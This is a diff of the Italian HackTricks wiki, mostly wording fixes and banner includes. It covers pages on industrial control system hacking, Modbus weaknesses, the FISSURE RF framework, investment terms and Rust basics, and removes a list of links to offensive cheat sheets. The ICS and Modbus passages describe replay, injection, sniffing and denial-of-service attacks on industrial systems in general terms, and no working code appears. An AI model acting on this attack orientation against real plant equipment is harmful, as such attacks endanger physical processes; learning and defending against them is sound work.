+{{#include /banners/hacktricks-training.md}}
+
 ## Informazioni su questa Sezione
 
 Questa sezione contiene tutto sui Sistemi di Controllo Industriale, inclusi concetti e metodologie per hackerarli con vari problemi di sicurezza che persistono in essi.
@@ -12,4 +14,6 @@ Poiché i Sistemi di Controllo Industriale sono installati seguendo standard sta
 
 I Sistemi di Controllo Industriale possono essere complicati a volte e quindi richiedono molta pazienza per fare qualsiasi cosa. Si tratta di sondare e fare ricognizione prima di pianificare attacchi e sviluppare exploit.
 
-Queste tecniche possono anche essere utilizzate per proteggere contro attacchi e blue teaming per i sistemi di controllo industriale.
+Queste tecniche possono essere utilizzate anche per proteggere contro attacchi e blue teaming per i sistemi di controllo industriale.
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md
index 0bafe9a30..f00bd7e0e 100644
--- a/src/todo/industrial-control-systems-hacking/modbus.md
+++ b/src/todo/industrial-control-systems-hacking/modbus.md
@@ -1,10 +1,12 @@
 # Il Protocollo Modbus
 
+{{#include /banners/hacktricks-training.md}}
+
 ## Introduzione al Protocollo Modbus
 
 Il protocollo Modbus è un protocollo ampiamente utilizzato nell'Automazione Industriale e nei Sistemi di Controllo. Modbus consente la comunicazione tra vari dispositivi come controllori logici programmabili (PLC), sensori, attuatori e altri dispositivi industriali. Comprendere il Protocollo Modbus è essenziale poiché è il protocollo di comunicazione più utilizzato negli ICS e presenta una grande superficie di attacco potenziale per il sniffing e persino l'iniezione di comandi nei PLC.
 
-Qui, i concetti sono espressi in modo puntuale fornendo il contesto del protocollo e la sua natura operativa. La maggiore sfida nella sicurezza dei sistemi ICS è il costo di implementazione e aggiornamento. Questi protocolli e standard sono stati progettati all'inizio degli anni '80 e '90 e sono ancora ampiamente utilizzati. Poiché un'industria ha molti dispositivi e connessioni, aggiornare i dispositivi è molto difficile, il che fornisce ai hacker un vantaggio nel trattare protocolli obsoleti. Gli attacchi a Modbus sono praticamente inevitabili poiché verrà utilizzato senza aggiornamenti, essendo la sua operazione critica per l'industria.
+Qui, i concetti sono espressi in modo puntuale fornendo contesto sul protocollo e sulla sua natura operativa. La maggiore sfida nella sicurezza dei sistemi ICS è il costo di implementazione e aggiornamento. Questi protocolli e standard sono stati progettati all'inizio degli anni '80 e '90 e sono ancora ampiamente utilizzati. Poiché un'industria ha molti dispositivi e connessioni, aggiornare i dispositivi è molto difficile, il che fornisce ai hacker un vantaggio nel trattare protocolli obsoleti. Gli attacchi a Modbus sono praticamente inevitabili poiché verrà utilizzato senza aggiornamenti, essendo la sua operazione critica per l'industria.
 
 ## L'Architettura Client-Server
 
@@ -20,7 +22,7 @@ I dati vengono trasmessi nel protocollo Modbus come ASCII o Binario, sebbene il
 
 ## Codici Funzione
 
-Il Protocollo ModBus funziona con la trasmissione di codici funzione specifici che vengono utilizzati per operare i PLC e vari dispositivi di controllo. Questa parte è importante da comprendere poiché gli attacchi di replay possono essere effettuati ritrasmettendo i codici funzione. I dispositivi legacy non supportano alcuna crittografia per la trasmissione dei dati e di solito hanno cavi lunghi che li collegano, il che porta a manomissioni di questi cavi e alla cattura/iniezione di dati.
+Il Protocollo ModBus funziona con la trasmissione di specifici codici funzione che vengono utilizzati per operare i PLC e vari dispositivi di controllo. Questa parte è importante da comprendere poiché gli attacchi di replay possono essere effettuati ritrasmettendo i codici funzione. I dispositivi legacy non supportano alcuna crittografia per la trasmissione dei dati e di solito hanno cavi lunghi che li collegano, il che porta a manomissioni di questi cavi e alla cattura/iniezione di dati.
 
 ## Indirizzamento di Modbus
 
@@ -29,3 +31,5 @@ Ogni dispositivo nella rete ha un indirizzo unico che è essenziale per la comun
 Inoltre, Modbus implementa anche controlli di errore per garantire l'integrità dei dati trasmessi. Ma soprattutto, Modbus è uno Standard Aperto e chiunque può implementarlo nei propri dispositivi. Questo ha reso questo protocollo uno standard globale ed è ampiamente diffuso nell'industria dell'automazione industriale.
 
 A causa del suo ampio utilizzo e della mancanza di aggiornamenti, attaccare Modbus fornisce un vantaggio significativo con la sua superficie di attacco. Gli ICS dipendono fortemente dalla comunicazione tra i dispositivi e qualsiasi attacco effettuato su di essi può essere pericoloso per il funzionamento dei sistemi industriali. Attacchi come replay, iniezione di dati, sniffing di dati e leak, Denial of Service, falsificazione di dati, ecc. possono essere effettuati se il mezzo di trasmissione è identificato dall'attaccante.
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md
index dcea36c63..708fb903f 100644
--- a/src/todo/investment-terms.md
+++ b/src/todo/investment-terms.md
@@ -1,5 +1,7 @@
 # Termini di Investimento
 
+{{#include /banners/hacktricks-training.md}}
+
 ## Spot
 
 Questo è il modo più basilare per fare trading. Puoi **indicare l'importo dell'asset e il prezzo** che desideri comprare o vendere, e ogni volta che quel prezzo viene raggiunto l'operazione viene eseguita.
@@ -10,9 +12,9 @@ Di solito puoi anche utilizzare il **prezzo di mercato attuale** per effettuare
 
 ## Futures
 
-Un future è un contratto in cui 2 parti giungono a un accordo per **acquisire qualcosa in futuro a un prezzo fisso**. Ad esempio, vendere 1 bitcoin tra 6 mesi a 70.000$.
+Un future è un contratto in cui 2 parti raggiungono un accordo per **acquisire qualcosa in futuro a un prezzo fisso**. Ad esempio, vendere 1 bitcoin tra 6 mesi a 70.000$.
 
-Ovviamente, se tra 6 mesi il valore del bitcoin è 80.000$, la parte venditrice perde denaro e la parte acquirente guadagna. Se tra 6 mesi il valore del bitcoin è 60.000$, accade il contrario.
+Ovviamente, se tra 6 mesi il valore del bitcoin è 80.000$, la parte venditrice perde denaro e la parte acquirente guadagna. Se tra 6 mesi il valore del bitcoin è 60.000$, succede il contrario.
 
 Tuttavia, questo è interessante, ad esempio, per le aziende che stanno generando un prodotto e hanno bisogno di avere la sicurezza di poterlo vendere a un prezzo che copra i costi. O per le aziende che vogliono garantire prezzi fissi in futuro per qualcosa anche se più alti.
 
@@ -31,7 +33,7 @@ Nel caso in cui il prezzo scenda, il gestore del fondo guadagnerà benefici perc
 
 **Questi sono "futures" che dureranno indefinitamente** (senza una data di scadenza del contratto). È molto comune trovarli, ad esempio, negli scambi di criptovalute dove puoi entrare e uscire dai futures in base al prezzo delle criptovalute.
 
-Nota che in questi casi i benefici e le perdite possono essere in tempo reale, se il prezzo aumenta dell'1% guadagni l'1%, se il prezzo diminuisce dell'1%, lo perderai.
+Nota che in questi casi i benefici e le perdite possono essere in tempo reale; se il prezzo aumenta dell'1%, guadagni l'1%, se il prezzo diminuisce dell'1%, lo perderai.
 
 ### Futures con Leva
 
@@ -45,12 +47,12 @@ Pertanto, la leva consente di controllare l'importo di denaro su cui scommetti,
 ## Differenze tra Futures e Opzioni
 
 La principale differenza tra futures e opzioni è che il contratto è facoltativo per l'acquirente: può decidere di eseguirlo o meno (di solito lo farà solo se ne trarrà beneficio). Il venditore deve vendere se l'acquirente desidera utilizzare l'opzione.\
-Tuttavia, l'acquirente pagherà una commissione al venditore per aprire l'opzione (quindi il venditore, che apparentemente sta assumendo più rischi, inizia a guadagnare un po' di denaro).
+Tuttavia, l'acquirente pagherà una commissione al venditore per aprire l'opzione (quindi il venditore, che apparentemente sta assumendo più rischi, inizia a guadagnare denaro).
 
 ### 1. **Obbligo vs. Diritto:**
 
-* **Futures:** Quando acquisti o vendi un contratto futures, stai entrando in un **accordo vincolante** per comprare o vendere un asset a un prezzo specifico in una data futura. Sia l'acquirente che il venditore sono **obbligati** a rispettare il contratto alla scadenza (a meno che il contratto non venga chiuso prima).
-* **Opzioni:** Con le opzioni, hai il **diritto, ma non l'obbligo**, di comprare (nel caso di un **call option**) o vendere (nel caso di un **put option**) un asset a un prezzo specifico prima o alla scadenza. L'**acquirente** ha l'opzione di eseguire, mentre il **venditore** è obbligato a completare l'operazione se l'acquirente decide di esercitare l'opzione.
+* **Futures:** Quando acquisti o vendi un contratto futures, stai entrando in un **accordo vincolante** per acquistare o vendere un asset a un prezzo specifico in una data futura. Sia l'acquirente che il venditore sono **obbligati** a rispettare il contratto alla scadenza (a meno che il contratto non venga chiuso prima).
+* **Opzioni:** Con le opzioni, hai il **diritto, ma non l'obbligo**, di acquistare (nel caso di un **call option**) o vendere (nel caso di un **put option**) un asset a un prezzo specifico prima o alla scadenza. L'**acquirente** ha l'opzione di eseguire, mentre il **venditore** è obbligato a completare l'operazione se l'acquirente decide di esercitare l'opzione.
 
 ### 2. **Rischio:**
 
@@ -59,10 +61,12 @@ Tuttavia, l'acquirente pagherà una commissione al venditore per aprire l'opzion
 
 ### 3. **Costo:**
 
-* **Futures:** Non ci sono costi iniziali oltre al margine richiesto per mantenere la posizione, poiché l'acquirente e il venditore sono entrambi obbligati a completare l'operazione.
+* **Futures:** Non ci sono costi iniziali oltre al margine richiesto per mantenere la posizione, poiché sia l'acquirente che il venditore sono obbligati a completare l'operazione.
 * **Opzioni:** L'acquirente deve pagare un **premio per l'opzione** in anticipo per il diritto di esercitare l'opzione. Questo premio è essenzialmente il costo dell'opzione.
 
 ### 4. **Potenziale di Profitto:**
 
 * **Futures:** Il profitto o la perdita si basa sulla differenza tra il prezzo di mercato alla scadenza e il prezzo concordato nel contratto.
-* **Opzioni:** L'acquirente guadagna quando il mercato si muove favorevolmente oltre il prezzo di esercizio di oltre il premio pagato. Il venditore guadagna mantenendo il premio se l'opzione non viene esercitata.
+* **Opzioni:** L'acquirente guadagna quando il mercato si muove favorevolmente oltre il prezzo di esercizio di più del premio pagato. Il venditore guadagna mantenendo il premio se l'opzione non viene esercitata.
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/pentesting-dns.md b/src/todo/pentesting-dns.md
deleted file mode 100644
index b0a7506cf..000000000
--- a/src/todo/pentesting-dns.md
+++ /dev/null
@@ -1,9 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-**Ricerca di più sugli attacchi al DNS**
-
-**DNSSEC e DNSSEC3**
-
-**DNS in IPv6**
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/README.md b/src/todo/radio-hacking/README.md
index 6db785956..b3b209d57 100644
--- a/src/todo/radio-hacking/README.md
+++ b/src/todo/radio-hacking/README.md
@@ -1 +1,3 @@
-# Hacking Radio
+# Radio Hacking
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md
index 2a30418c5..b0293fbb5 100644
--- a/src/todo/radio-hacking/fissure-the-rf-framework.md
+++ b/src/todo/radio-hacking/fissure-the-rf-framework.md
@@ -1,12 +1,14 @@
 # FISSURE - Il Framework RF
 
-**Comprensione e Ingegneria Inversa dei Segnali SDR Indipendenti dalla Frequenza**
+{{#include /banners/hacktricks-training.md}}
 
-FISSURE è un framework open-source RF e di ingegneria inversa progettato per tutti i livelli di abilità, con hook per la rilevazione e classificazione dei segnali, scoperta dei protocolli, esecuzione degli attacchi, manipolazione IQ, analisi delle vulnerabilità, automazione e AI/ML. Il framework è stato costruito per promuovere l'integrazione rapida di moduli software, radio, protocolli, dati di segnale, script, grafici di flusso, materiale di riferimento e strumenti di terze parti. FISSURE è un abilitante del flusso di lavoro che mantiene il software in un'unica posizione e consente ai team di mettersi rapidamente al passo mentre condividono la stessa configurazione di base collaudata per specifiche distribuzioni Linux.
+**Comprensione e Reverse Engineering dei Segnali SDR Indipendenti dalla Frequenza**
 
-Il framework e gli strumenti inclusi in FISSURE sono progettati per rilevare la presenza di energia RF, comprendere le caratteristiche di un segnale, raccogliere e analizzare campioni, sviluppare tecniche di trasmissione e/o iniezione e creare payload o messaggi personalizzati. FISSURE contiene una libreria in crescita di informazioni su protocolli e segnali per assistere nell'identificazione, creazione di pacchetti e fuzzing. Esistono capacità di archiviazione online per scaricare file di segnale e costruire playlist per simulare il traffico e testare i sistemi.
+FISSURE è un framework open-source RF e di reverse engineering progettato per tutti i livelli di abilità, con hook per la rilevazione e classificazione dei segnali, scoperta dei protocolli, esecuzione degli attacchi, manipolazione IQ, analisi delle vulnerabilità, automazione e AI/ML. Il framework è stato costruito per promuovere l'integrazione rapida di moduli software, radio, protocolli, dati di segnale, script, grafi di flusso, materiale di riferimento e strumenti di terze parti. FISSURE è un abilitante del flusso di lavoro che mantiene il software in un'unica posizione e consente ai team di mettersi rapidamente al passo mentre condividono la stessa configurazione di base collaudata per specifiche distribuzioni Linux.
 
-Il codice Python amichevole e l'interfaccia utente consentono ai principianti di apprendere rapidamente strumenti e tecniche popolari riguardanti RF e ingegneria inversa. Gli educatori in cybersecurity e ingegneria possono sfruttare il materiale integrato o utilizzare il framework per dimostrare le proprie applicazioni nel mondo reale. Sviluppatori e ricercatori possono utilizzare FISSURE per le loro attività quotidiane o per esporre le loro soluzioni all'avanguardia a un pubblico più ampio. Man mano che la consapevolezza e l'uso di FISSURE crescono nella comunità, così farà l'estensione delle sue capacità e l'ampiezza della tecnologia che comprende.
+Il framework e gli strumenti inclusi in FISSURE sono progettati per rilevare la presenza di energia RF, comprendere le caratteristiche di un segnale, raccogliere e analizzare campioni, sviluppare tecniche di trasmissione e/o iniezione e creare payload o messaggi personalizzati. FISSURE contiene una libreria in crescita di informazioni su protocolli e segnali per assistere nell'identificazione, creazione di pacchetti e fuzzing. Esistono capacità di archivio online per scaricare file di segnale e costruire playlist per simulare il traffico e testare i sistemi.
+
+Il codice Python amichevole e l'interfaccia utente consentono ai principianti di apprendere rapidamente strumenti e tecniche popolari riguardanti RF e reverse engineering. Gli educatori in cybersecurity e ingegneria possono sfruttare il materiale integrato o utilizzare il framework per dimostrare le proprie applicazioni nel mondo reale. Sviluppatori e ricercatori possono utilizzare FISSURE per le loro attività quotidiane o per esporre le loro soluzioni all'avanguardia a un pubblico più ampio. Man mano che la consapevolezza e l'uso di FISSURE crescono nella comunità, crescerà anche l'estensione delle sue capacità e l'ampiezza della tecnologia che comprende.
 
 **Informazioni Aggiuntive**
 
@@ -23,7 +25,7 @@ Il codice Python amichevole e l'interfaccia utente consentono ai principianti di
 Ci sono tre rami all'interno di FISSURE per rendere più facile la navigazione nei file e ridurre la ridondanza del codice. Il ramo Python2\_maint-3.7 contiene una base di codice costruita attorno a Python2, PyQt4 e GNU Radio 3.7; il ramo Python3\_maint-3.8 è costruito attorno a Python3, PyQt5 e GNU Radio 3.8; e il ramo Python3\_maint-3.10 è costruito attorno a Python3, PyQt5 e GNU Radio 3.10.
 
 |   Sistema Operativo   |   Ramo FISSURE   |
-| :------------------: | :----------------: |
+| :------------------: | :--------------: |
 |  Ubuntu 18.04 (x64)  | Python2\_maint-3.7 |
 | Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 |
 | Ubuntu 18.04.6 (x64) | Python2\_maint-3.7 |
@@ -33,10 +35,10 @@ Ci sono tre rami all'interno di FISSURE per rendere più facile la navigazione n
 
 **In Corso (beta)**
 
-Questi sistemi operativi sono ancora in stato beta. Sono in fase di sviluppo e diverse funzionalità sono note per essere mancanti. Gli elementi nell'installer potrebbero entrare in conflitto con programmi esistenti o non installarsi fino a quando lo stato non viene rimosso.
+Questi sistemi operativi sono ancora in stato beta. Sono in fase di sviluppo e diverse funzionalità sono note per mancare. Gli elementi nell'installer potrebbero entrare in conflitto con programmi esistenti o non installarsi fino a quando lo stato non viene rimosso.
 
 |     Sistema Operativo     |    Ramo FISSURE   |
-| :----------------------: | :-----------------: |
+| :----------------------: | :----------------: |
 | DragonOS Focal (x86\_64) |  Python3\_maint-3.8 |
 |    Ubuntu 22.04 (x64)    | Python3\_maint-3.10 |
 
@@ -68,7 +70,7 @@ Apri un terminale e inserisci:
 ```
 fissure
 ```
-Riferirsi al menu di aiuto di FISSURE per ulteriori dettagli sull'uso.
+Referirsi al menu di aiuto di FISSURE per ulteriori dettagli sull'uso.
 
 ## Dettagli
 
@@ -84,10 +86,10 @@ Riferirsi al menu di aiuto di FISSURE per ulteriori dettagli sull'uso.
 
 **Capacità**
 
-| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Rilevatore di Segnale**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipolazione IQ**_      | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Ricerca Segnale**_          | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Riconoscimento Modelli**_ |
+| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Rilevatore di Segnali**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipolazione IQ**_      | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Ricerca Segnali**_          | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Riconoscimento Modelli**_ |
 | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
-| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attacchi**_           | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_         | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Playlist di Segnale**_       | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Galleria Immagini**_  |
-| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Creazione Pacchetti**_   | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Integrazione Scapy**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**Calcolatore CRC**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Registrazione**_            |
+| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attacchi**_           | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_         | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Playlist di Segnali**_       | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Galleria Immagini**_  |
+| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Creazione Pacchetti**_   | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Integrazione Scapy**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**Calcolatore CRC**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Logging**_            |
 
 **Hardware**
 
@@ -109,8 +111,8 @@ FISSURE viene fornito con diverse guide utili per familiarizzare con diverse tec
 * [Lezione1: OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md)
 * [Lezione2: Lua Dissectors](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
 * [Lezione3: Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md)
-* [Lezione4: Schede ESP](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
-* [Lezione5: Tracciamento Radiosonde](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
+* [Lezione4: ESP Boards](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
+* [Lezione5: Tracking Radiosonde](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
 * [Lezione6: RFID](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson6\_RFID.md)
 * [Lezione7: Tipi di Dati](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md)
 * [Lezione8: Blocchi GNU Radio Personalizzati](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md)
@@ -125,7 +127,7 @@ FISSURE viene fornito con diverse guide utili per familiarizzare con diverse tec
 * [ ] Sviluppare materiale didattico attorno a FISSURE (Attacchi RF, Wi-Fi, GNU Radio, PyQt, ecc.)
 * [ ] Creare un condizionatore di segnale, estrattore di caratteristiche e classificatore di segnale con tecniche AI/ML selezionabili
 * [ ] Implementare meccanismi di demodulazione ricorsiva per produrre un bitstream da segnali sconosciuti
-* [ ] Trasferire i principali componenti di FISSURE a uno schema di distribuzione di nodi sensori generici
+* [ ] Trasferire i principali componenti di FISSURE a uno schema di distribuzione generico per nodi sensori
 
 ## Contribuire
 
@@ -137,7 +139,7 @@ Suggerimenti per migliorare FISSURE sono fortemente incoraggiati. Lascia un comm
 * Protocolli RF di interesse
 * Maggiore hardware e tipi di SDR per integrazione
 * Script di analisi IQ in Python
-* Correzioni e miglioramenti di installazione
+* Correzioni e miglioramenti all'installazione
 
 Le contribuzioni per migliorare FISSURE sono cruciali per accelerare il suo sviluppo. Qualsiasi contributo che fai è molto apprezzato. Se desideri contribuire attraverso lo sviluppo di codice, per favore fork il repo e crea una pull request:
 
@@ -151,13 +153,13 @@ Creare [Issues](https://github.com/ainfosec/FISSURE/issues) per portare attenzio
 
 ## Collaborare
 
-Contatta Assured Information Security, Inc. (AIS) Business Development per proporre e formalizzare eventuali opportunità di collaborazione su FISSURE, sia dedicando tempo all'integrazione del tuo software, sia facendo sviluppare soluzioni per le tue sfide tecniche dalle persone talentuose di AIS, o integrando FISSURE in altre piattaforme/applicazioni.
+Contatta Assured Information Security, Inc. (AIS) Business Development per proporre e formalizzare eventuali opportunità di collaborazione con FISSURE, sia dedicando tempo all'integrazione del tuo software, sia facendo sviluppare soluzioni per le tue sfide tecniche dalle persone talentuose di AIS, o integrando FISSURE in altre piattaforme/applicazioni.
 
 ## Licenza
 
 GPL-3.0
 
-Per i dettagli sulla licenza, vedere il file LICENSE.
+Per dettagli sulla licenza, vedere il file LICENSE.
 
 ## Contatto
 
@@ -178,3 +180,7 @@ Riconosciamo e siamo grati a questi sviluppatori:
 ## Riconoscimenti
 
 Un ringraziamento speciale a Dr. Samuel Mantravadi e Joseph Reith per i loro contributi a questo progetto.
+
+
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/references.md b/src/todo/references.md
deleted file mode 100644
index eb3792a1f..000000000
--- a/src/todo/references.md
+++ /dev/null
@@ -1,95 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-{{#ref}}
-https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
-{{#endref}}
-
-{{#ref}}
-https://hausec.com/pentesting-cheatsheet/#_Toc475368982
-{{#endref}}
-
-{{#ref}}
-https://anhtai.me/pentesting-cheatsheet/
-{{#endref}}
-
-{{#ref}}
-https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
-{{#endref}}
-
-{{#ref}}
-https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
-{{#endref}}
-
-{{#ref}}
-https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
-{{#endref}}
-
-{{#ref}}
-https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
-{{#endref}}
-
-{{#ref}}
-https://anhtai.me/oscp-fun-guide/
-{{#endref}}
-
-{{#ref}}
-https://www.thehacker.recipes/
-{{#endref}}
-
-{{#ref}}
-https://github.com/swisskyrepo/PayloadsAllTheThings
-{{#endref}}
-
-{{#ref}}
-https://gtfobins.github.io/
-{{#endref}}
-
-{{#ref}}
-https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
-{{#endref}}
-
-{{#ref}}
-https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
-{{#endref}}
-
-{{#ref}}
-https://hideandsec.sh/
-{{#endref}}
-
-{{#ref}}
-https://cheatsheet.haax.fr/
-{{#endref}}
-
-{{#ref}}
-https://infosecwriteups.com/
-{{#endref}}
-
-{{#ref}}
-https://www.exploit-db.com/
-{{#endref}}
-
-{{#ref}}
-https://wadcoms.github.io/
-{{#endref}}
-
-{{#ref}}
-https://lolbas-project.github.io
-{{#endref}}
-
-{{#ref}}
-https://pentestbook.six2dez.com/
-{{#endref}}
-
-{{#ref}}
-https://www.hackingarticles.in/
-{{#endref}}
-
-{{#ref}}
-https://pentestlab.blog/
-{{#endref}}
-
-{{#ref}}
-https://ippsec.rocks/
-{{#endref}}
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md
index c2b9defb8..0ce77736c 100644
--- a/src/todo/rust-basics.md
+++ b/src/todo/rust-basics.md
@@ -1,5 +1,7 @@
 # Fondamenti di Rust
 
+{{#include /banners/hacktricks-training.md}}
+
 ### Tipi Generici
 
 Crea una struct in cui 1 dei loro valori potrebbe essere di qualsiasi tipo
@@ -267,7 +269,7 @@ println!("{:?}", apple);
 ```
 #### Thread
 
-In questo caso passeremo al thread una variabile che sarà in grado di modificare
+In questo caso passeremo al thread una variabile che sarà in grado di modificare.
 ```rust
 fn main() {
 let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 }));
@@ -285,4 +287,4 @@ thread::sleep(Duration::from_millis(500));
 }
 }
 ```
-
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md
index 289041145..a51655d0b 100644
--- a/src/todo/test-llms.md
+++ b/src/todo/test-llms.md
@@ -1,5 +1,7 @@
 # Test LLMs
 
+{{#include /banners/hacktricks-training.md}}
+
 ## Esegui e addestra modelli localmente
 
 ### [**Hugging Face Transformers**](https://github.com/huggingface/transformers)
@@ -12,7 +14,7 @@ LangChain è un framework progettato per costruire applicazioni con LLM. Permett
 
 ### [**LitGPT**](https://github.com/Lightning-AI/litgpt)
 
-LitGPT è un progetto sviluppato da Lightning AI che sfrutta il framework Lightning per facilitare l'addestramento, il fine-tuning e la distribuzione di modelli basati su GPT. Si integra senza soluzione di continuità con altri strumenti di Lightning AI, fornendo flussi di lavoro ottimizzati per gestire modelli linguistici su larga scala con prestazioni e scalabilità migliorate.
+LitGPT è un progetto sviluppato da Lightning AI che sfrutta il framework Lightning per facilitare l'addestramento, il fine-tuning e la distribuzione di modelli basati su GPT. Si integra senza problemi con altri strumenti di Lightning AI, fornendo flussi di lavoro ottimizzati per gestire modelli linguistici su larga scala con prestazioni e scalabilità migliorate.
 
 ### [**LitServe**](https://github.com/Lightning-AI/LitServe)
 
@@ -30,9 +32,9 @@ Axolotl è una piattaforma basata su cloud progettata per semplificare la distri
 **Hugging Face** è una piattaforma e comunità leader per l'apprendimento automatico, particolarmente nota per il suo lavoro nell'elaborazione del linguaggio naturale (NLP). Fornisce strumenti, librerie e risorse che rendono più facile sviluppare, condividere e distribuire modelli di apprendimento automatico.\
 Offre diverse sezioni come:
 
-* **Modelli**: Un vasto repository di **modelli di apprendimento automatico pre-addestrati** dove gli utenti possono navigare, scaricare e integrare modelli per vari compiti come generazione di testo, traduzione, riconoscimento delle immagini e altro.
+* **Modelli**: Un vasto repository di **modelli di apprendimento automatico pre-addestrati** dove gli utenti possono navigare, scaricare e integrare modelli per vari compiti come generazione di testo, traduzione, riconoscimento di immagini e altro.
 * **Dataset:** Una **collezione completa di dataset** utilizzati per addestrare e valutare modelli. Facilita l'accesso a fonti di dati diverse, consentendo agli utenti di trovare e utilizzare dati per i loro specifici progetti di apprendimento automatico.
-* **Spazi:** Una piattaforma per ospitare e condividere **applicazioni interattive di apprendimento automatico** e dimostrazioni. Permette agli sviluppatori di **mostrare** i loro modelli in azione, creare interfacce user-friendly e collaborare con altri condividendo dimostrazioni dal vivo.
+* **Spazi:** Una piattaforma per ospitare e condividere **applicazioni e dimostrazioni interattive di apprendimento automatico**. Permette agli sviluppatori di **mostrare** i loro modelli in azione, creare interfacce user-friendly e collaborare con altri condividendo dimostrazioni dal vivo.
 
 ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
 
@@ -48,3 +50,5 @@ Offre diverse sezioni come:
 
 * **Modelli:** Un repository di modelli di apprendimento automatico contribuiti dalla comunità che gli utenti possono navigare, provare e integrare nei loro applicativi con il minimo sforzo.
 * **Accesso API:** API semplici per eseguire modelli che consentono agli sviluppatori di distribuire e scalare modelli senza sforzo all'interno delle proprie applicazioni.
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/tr-069.md b/src/todo/tr-069.md
deleted file mode 100644
index e2efcf98b..000000000
--- a/src/todo/tr-069.md
+++ /dev/null
@@ -1 +0,0 @@
-# TR-069
diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md
index 700522521..8e9486391 100644
--- a/src/windows-hardening/cobalt-strike.md
+++ b/src/windows-hardening/cobalt-strike.md
